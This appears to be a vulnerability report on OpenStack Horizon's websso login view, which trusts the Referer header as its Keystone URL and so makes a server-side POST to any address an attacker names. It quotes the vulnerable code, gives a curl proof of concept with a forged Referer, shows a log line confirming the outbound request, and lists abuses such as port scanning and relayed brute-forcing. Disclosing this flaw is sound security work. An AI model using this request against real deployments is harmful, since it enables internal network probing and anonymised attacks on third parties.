It is possible to trigger a POST-Request to any address via Horizon

# Description of the bug

We use horizon in the following version: `git+https://opendev.org/openstack/horizon@9d1bb3626bc1dbcf29a55aeb094f4350067317cd#egg=horizon`

In Horizon there is the following code in Xena:
openstack_auth/views.py

```
def websso(request):
    """Logs a user in using a token from Keystone's POST."""
    referer = request.META.get('HTTP_REFERER', settings.OPENSTACK_KEYSTONE_URL)
    auth_url = utils.clean_up_auth_url(referer)
    token = request.POST.get('token')
    try:
        request.user = auth.authenticate(request, auth_url=auth_url,
                                         token=token)
   ...
```

This call is usually called during SAML-Auth, but you can call it on the command line like this:

``
curl -v 'http://horizon-name:8080/auth/websso/' -X POST -H 'Referer: https://referer:5001/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'token=mytoken'
``

So an attacker can control the content of the HTTP_REFERER and then an auth POST request will be sent to this address.

I have changed the referer to a web server https://webserver/su-huhu/ and you can find inside the logfile:

```
access.log: <ip-address-of-horizon> - - [28/Jun/2022:08:15:06 +0200] "POST /su-huhu/v3/auth/tokens HTTP/1.1" 404 6529 "-" "openstack_auth keystoneauth1/4.5.0 python-requests/2.27.1 CPython/3.8.10"
```

# Impact

* An attacker can hide his ip and do a brute force attack to any other ip via all public available horizon dashboards.
* An attacker can setup a machine, set the referer to this machine and then send some ugly results (e.g. very long, never ending, wrong json code, ssl protocol issues) to the horizon service.
* An attacker can analyze which services are available on the horizon host (if it is behind a firewall, use DNS Servers with private zones). Note that you are able to change the port number to any number. I have not tested, but perhaps it is also possible to change the protocol to another value, let's say: imap://user:passwort@ip/.

# Is this only relevant for xena

The code has changed on master branch, but the bug is still there:
```
# TODO(stephenfin): Migrate to CBV
@sensitive_post_parameters()
@csrf_exempt
@never_cache
def websso(request):
    """Logs a user in using a token from Keystone's POST."""
    if settings.WEBSSO_USE_HTTP_REFERER:
        referer = request.META.get('HTTP_REFERER',
                                   settings.OPENSTACK_KEYSTONE_URL)
        auth_url = utils.clean_up_auth_url(referer)
    else:
        auth_url = settings.OPENSTACK_KEYSTONE_URL
    token = request.POST.get('token')
    try:
        request.user = auth.authenticate(request, auth_url=auth_url,
                                         token=token)
    except exceptions.KeystoneAuthException as exc:
        if settings.WEBSSO_DEFAULT_REDIRECT:
            res = django_http.HttpResponseRedirect(settings.LOGIN_ERROR)
        else:
            msg = 'Login failed: %s' % exc
            res = django_http.HttpResponseRedirect(settings.LOGIN_URL)
            set_logout_reason(res, msg)
        return res
```

only changing the WEBSSO_USE_HTTP_REFERER to false (Default true) will forbid to call this.